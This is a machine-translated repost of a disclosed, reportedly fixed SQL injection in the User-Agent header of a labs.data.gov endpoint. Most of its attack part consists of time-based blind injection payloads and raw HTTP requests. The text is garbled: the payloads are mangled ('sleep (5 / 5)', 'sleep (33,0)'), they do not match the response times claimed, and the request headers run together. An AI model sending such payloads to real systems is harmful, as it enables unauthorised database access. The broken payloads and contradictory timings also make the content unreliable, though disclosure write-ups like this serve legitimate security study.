Get the App
SLTechnology News&Howtos  ›  Internet Technology  › 

How to analyze User-Agent injection in HTTP header injection

Shulou Source: shulou.com Published: 2022-06-01 14:51:56 11月15日 Update

How to analyze HTTP head injection in User-Agent injection, many novices are not very clear about this, in order to help you solve this problem, the following editor will explain for you in detail, people with this need can come to learn, I hope you can get something.

Vulnerability information discoverer: harisec

Type of vulnerability: SQL injection

Hazard level: serious

Vulnerability status: fixed

Preface Harisec found a SQL injection vulnerability in the following website, which is located in User-Agent.

Https://labs.data.gov/dashboard/datagov/csv_to_json

Loophole reappearance

Harisec uses blind injection to identify the vulnerability

For example: set the value of User-Agent to

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR (if (now () = sysdate (), sleep (5 / 5), 0)) OR'

Will cause the server to respond after 25 seconds

Here, let's take a look at the specific contents of the packet.

GET / dashboard/datagov/csv_to_json HTTP/1.1Referer: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR (if (now () = sysdate (), sleep (5: 5), 0) OR'X-Forwarded-For: 1X-Requested-With: XMLHttpRequestHost: labs.data.govConnection: Keep-aliveAccept-Encoding: gzip,deflateAccept: * / *

The server responds after 25 seconds, the same as the value of User-Agent

Change the value of User-Agent to respond in 9 seconds.

GET / dashboard/datagov/csv_to_json HTTP/1.1Referer: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR (if (now () = sysdate (), sleep (33,0)) OR'X-Forwarded-For: 1X-Requested-With: XMLHttpRequestHost: labs.data.govConnection: Keep-aliveAccept-Encoding: gzip,deflateAccept: * / *

Vulnerability impact

The vulnerability could allow an attacker to inject malicious SQL statements.

Is it helpful for you to read the above content? If you want to know more about the relevant knowledge or read more related articles, please follow the industry information channel, thank you for your support.

Tags: Vulnerabilities content servers help services analysis clarity same location information preface discoverer can make to this malicious attacker data article novice way Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Huawei OPPO Reno Shulou Technology vpn macOS